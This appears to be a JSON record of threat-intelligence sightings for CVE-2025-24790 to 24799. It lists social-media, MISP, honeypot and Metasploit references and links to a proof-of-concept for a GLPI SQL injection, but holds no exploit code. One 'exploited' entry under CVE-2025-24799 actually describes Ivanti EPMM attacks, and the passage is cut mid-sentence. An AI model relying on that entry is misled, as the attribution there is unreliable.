{"vulnerability": "cve-2025-2479", "sightings": [{"uuid": "3653e131-be7b-44dd-8775-add3e9bb261c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24792", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113912358161091347", "content": "", "creation_timestamp": "2025-01-29T15:30:45.451866Z"}, {"uuid": "e0cb773e-b4af-454b-8e76-a158133cc84e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24792", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvekraxd72w", "content": "", "creation_timestamp": "2025-01-29T16:16:24.061050Z"}, {"uuid": "04d440b8-e4b4-4f57-95c6-0c202c1ffe88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113912714697083852", "content": "", "creation_timestamp": "2025-01-29T17:01:25.582496Z"}, {"uuid": "f4400b6e-df65-4025-a470-3646a4371766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvhvab7cu2h", "content": "", "creation_timestamp": "2025-01-29T17:15:56.838367Z"}, {"uuid": "1f2c2b1e-1f9d-4917-89e7-e1db594be3e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24790", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113912920293587523", "content": "", "creation_timestamp": "2025-01-29T17:53:42.763206Z"}, {"uuid": "47dd3617-363b-47d2-a403-f2841db476b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24790", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvlay3sun2w", "content": "", "creation_timestamp": "2025-01-29T18:16:12.437051Z"}, {"uuid": "dc0540f8-8b1f-4733-9454-0ba4bcbf9f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24792", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgvojsnlk62e", "content": "", "creation_timestamp": "2025-01-29T19:14:49.520721Z"}, {"uuid": "db89f2fc-4eed-4758-b2a3-0455e6a3c6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24790", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgvojt5guh2i", "content": "", "creation_timestamp": "2025-01-29T19:14:51.556732Z"}, {"uuid": "84bb0722-4024-466a-9351-3b162aaa517d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgvojtupdy2r", "content": "", "creation_timestamp": "2025-01-29T19:14:55.817852Z"}, {"uuid": "4846091c-f4a0-4a2a-85a5-f9c46313ebe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24793", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113913533939678038", "content": "", "creation_timestamp": "2025-01-29T20:29:46.477498Z"}, {"uuid": "01d9305f-2af4-48b3-a806-a11de4385643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24794", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113913533956588236", "content": "", "creation_timestamp": "2025-01-29T20:29:46.728125Z"}, {"uuid": "66ae91cb-a639-4aa7-abd9-bb05f2d75c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24795", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113913558925506767", "content": "", "creation_timestamp": "2025-01-29T20:36:07.552776Z"}, {"uuid": "7fe388c0-0688-453e-a11d-a303d7e02f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24793", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvvbwchfe2b", "content": "", "creation_timestamp": "2025-01-29T21:15:41.137671Z"}, {"uuid": "741d1fa2-ffe7-4a93-ab3e-5a94cfe0fe8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24794", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvvbysyx62h", "content": "", "creation_timestamp": "2025-01-29T21:15:43.638150Z"}, {"uuid": "1ad0a09a-e7e0-4a19-90a1-2a9158f31dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24795", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvvc36cce2c", "content": "", "creation_timestamp": "2025-01-29T21:15:46.113510Z"}, {"uuid": "995f6d61-dc55-475f-a32b-15a60c70a51d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-24799.yaml", "content": "", "creation_timestamp": "2025-03-31T08:48:23.000000Z"}, {"uuid": "0651c378-a971-4474-9604-3ac0d681f1af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114185140719428080", "content": "", "creation_timestamp": "2025-03-18T19:42:57.176792Z"}, {"uuid": "25077fc9-ab62-4b44-ab13-dc95b5dc06db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lkt4jwpsi22b", "content": "", "creation_timestamp": "2025-03-20T16:28:14.371564Z"}, {"uuid": "7f6d6980-754d-4bec-a293-67e91f1ab6a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljqit6465y2u", "content": "", "creation_timestamp": "2025-03-06T22:04:57.361835Z"}, {"uuid": "ea984133-ee02-4436-b84a-5f4ddd35dcb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkoihzjhl52s", "content": "", "creation_timestamp": "2025-03-18T20:18:39.657561Z"}, {"uuid": "3c0c8d8b-637f-46f2-bf27-470473697af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3lkn3vvzuf32u", "content": "", "creation_timestamp": "2025-03-18T07:01:04.622200Z"}, {"uuid": "e97a70b6-0c7e-43ee-baa1-1381b6d16279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/114154763751292664", "content": "", "creation_timestamp": "2025-03-13T10:57:43.360502Z"}, {"uuid": "fc06e0c9-5814-4c46-8097-bcfe81d91f3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/bearstech.com/post/3lknbcpxkch2n", "content": "", "creation_timestamp": "2025-03-18T08:37:42.657501Z"}, {"uuid": "2e68d1a6-68d1-4c6d-b37b-7323eaf42d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lk6geieskt2j", "content": "", "creation_timestamp": "2025-03-12T10:58:14.165853Z"}, {"uuid": "cd132d26-b01c-4902-9be9-4fe1850d139d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lk6i6evc3a2c", "content": "", "creation_timestamp": "2025-03-12T11:30:36.129089Z"}, {"uuid": "c6e4c302-7c8d-4749-8c18-ebe1c27280ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lk6kdzgvaa2a", "content": "", "creation_timestamp": "2025-03-12T12:09:32.722670Z"}, {"uuid": "ef0f45b2-e190-4d2d-bc68-84411e2554f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llcon6jeob2f", "content": "", "creation_timestamp": "2025-03-26T21:02:14.641248Z"}, {"uuid": "5226b67e-1e77-44b4-a640-c41af8d46e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lk6nzfq5z227", "content": "", "creation_timestamp": "2025-03-12T13:15:11.824772Z"}, {"uuid": "95e70183-ffd0-4827-bc54-94acd7baf3f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114263601722430109", "content": "", "creation_timestamp": "2025-04-01T16:16:37.129891Z"}, {"uuid": "870d3fa4-25b3-4cd7-babf-c798285f072e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114263601722430109", "content": "", "creation_timestamp": "2025-04-01T16:16:37.177493Z"}, {"uuid": "6803dbfc-75ad-4f60-bde0-0197f251297e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3llgwbglint2q", "content": "", "creation_timestamp": "2025-03-28T13:29:20.440701Z"}, {"uuid": "213cd1e4-f913-4f39-bbe0-2d0105a603cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llubw2s4662d", "content": "", "creation_timestamp": "2025-04-02T21:02:21.447220Z"}, {"uuid": "e7c1c3f7-77b2-4fbe-92ef-81feec7b3873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-24)", "content": "", "creation_timestamp": "2025-06-24T00:00:00.000000Z"}, {"uuid": "224b9ba9-71b4-4b62-b2b0-5919c48a37aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114339178869394068", "content": "", "creation_timestamp": "2025-04-15T00:36:52.737226Z"}, {"uuid": "8d360253-fa02-4259-adc1-0d0061992f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmt2bkpwbb2c", "content": "", "creation_timestamp": "2025-04-15T02:38:09.368195Z"}, {"uuid": "b35174f0-460a-431e-8b20-2b3ff760833b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114339696254321945", "content": "", "creation_timestamp": "2025-04-15T02:48:27.296108Z"}, {"uuid": "0d4506d7-a66f-470c-9cc4-08d9f8d580df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3lmuduoifk22u", "content": "", "creation_timestamp": "2025-04-15T15:02:34.352244Z"}, {"uuid": "8a5690e3-7fdc-4787-888b-8df8ffcc264d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/114358698972932107", "content": "", "creation_timestamp": "2025-04-18T11:21:05.483081Z"}, {"uuid": "47a5726a-e13d-4e6b-a908-3d1ec7ee127b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3ln3ivivgqpi2", "content": "", "creation_timestamp": "2025-04-18T11:26:57.178921Z"}, {"uuid": "f8c17b10-8a62-4f67-aee2-5f8e4c234ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln6ztjwhil2h", "content": "", "creation_timestamp": "2025-04-19T21:02:19.584369Z"}, {"uuid": "c9e3bec1-4f88-4d07-bd15-5705f7901b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-24797", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lncclmqqtk2m", "content": "", "creation_timestamp": "2025-04-21T04:16:52.377222Z"}, {"uuid": "44ac8a1e-cb74-4c30-ace8-708e544879fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lncesjbuzq24", "content": "", "creation_timestamp": "2025-04-21T04:56:31.845201Z"}, {"uuid": "1eb387f8-0614-41e1-b6a7-0fea8352376f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-24)", "content": "", "creation_timestamp": "2025-05-24T00:00:00.000000Z"}, {"uuid": "9e95653a-d0e1-4dcd-8a84-493e417a84ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://mastodon.social/users/jpmens/statuses/114468221827666518", "content": "", "creation_timestamp": "2025-05-07T19:34:12.811924Z"}, {"uuid": "ed8fb391-f2f8-4ea3-91f7-dc4e592056cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-a45bca37-2eeedf36bb4d3150", "content": "", "creation_timestamp": "2025-05-09T17:05:26.815421Z"}, {"uuid": "6ec00603-c0c3-4636-b38d-56ca74fe1b3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-25)", "content": "", "creation_timestamp": "2025-05-25T00:00:00.000000Z"}, {"uuid": "e68c01ca-63c2-4126-b8d5-c6c9d8c8abe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-12)", "content": "", "creation_timestamp": "2025-05-12T00:00:00.000000Z"}, {"uuid": "14b1f6ce-8219-41eb-bc3c-6573c301943d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "ecafd530-20be-4f4f-acb5-486053400fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-09T13:26:57.000000Z"}, {"uuid": "29bd53ab-35f7-4fc7-8db0-d4c5c620c560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-11T18:47:40.000000Z"}, {"uuid": "115beaaa-5c3e-4b64-aac8-c1b50c6defd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-11)", "content": "", "creation_timestamp": "2025-11-11T00:00:00.000000Z"}, {"uuid": "5e155dee-cf8a-41f2-a67b-1224e83d78e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-18T13:31:23.000000Z"}, {"uuid": "068ff3a7-535d-46d5-a3af-7ff090dd55ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-19T02:47:43.000000Z"}, {"uuid": "af1e1675-8604-4747-985e-9bf3f71a98e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/115566745736477059", "content": "", "creation_timestamp": "2025-11-17T19:43:17.621719Z"}, {"uuid": "5e9474b2-665b-476c-9da5-2b71d235873f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3m5tybqq2uq24", "content": "", "creation_timestamp": "2025-11-17T19:43:29.962950Z"}, {"uuid": "0dda3dbf-c55f-4782-a755-e5a956026281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.rb", "content": "", "creation_timestamp": "2025-03-25T18:52:31.000000Z"}, {"uuid": "8a9ad729-8fa3-4e30-9dbe-e989bf08a139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "MISP/f20bd5ae-cac7-43b7-aaa4-ff1d9fb419d8", "content": "", "creation_timestamp": "2026-02-23T13:44:40.000000Z"}, {"uuid": "a521cc4d-c352-4480-befa-a6ea3e8487f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "1d0bb99a-be44-4726-b2d5-ef235ec45730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-06)", "content": "", "creation_timestamp": "2026-01-06T00:00:00.000000Z"}, {"uuid": "0c6b04fb-7d86-43e4-b0d9-fc33dd34fa63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/2002296b-dd57-45e0-b127-feeaa53cc204", "content": "", "creation_timestamp": "2025-03-13T09:40:21.398312Z"}, {"uuid": "5eb62e43-eb54-4553-9f4e-404295f71592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/50738", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/Rosemary1337/CVE-2025-24799\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-09-08T13:45:30.000000Z"}, {"uuid": "03393be2-3640-49ed-a4a1-66a9ffc3cbec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/50739", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/Rosemary1337/CVE-2025-24799\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-09-08T13:48:15.000000Z"}, {"uuid": "132c35f9-d59e-46ca-9f12-1cf6d28b9ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "https://t.me/true_secator/7908", "content": "GreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e 417 \u0441\u0435\u0430\u043d\u0441\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ivanti Endpoint Manager Mobile (EPMM), \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u0445 \u0441 8 IP \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 1-9 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 346 (83% \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043e\u0434\u0438\u043d 193.24.123[.]42 \u0432 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 PROSPERO.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 CVE-2026-1281\u00a0(CVSS: 9,8), \u043e\u0434\u043d\u0443 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 EPMM, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441\u00a0CVE-2026-1340,\u00a0\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f RCE.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 Ivanti \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day.\n\n\u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0440\u044f\u0434 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u0443\u043a\u0442\u0443\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e 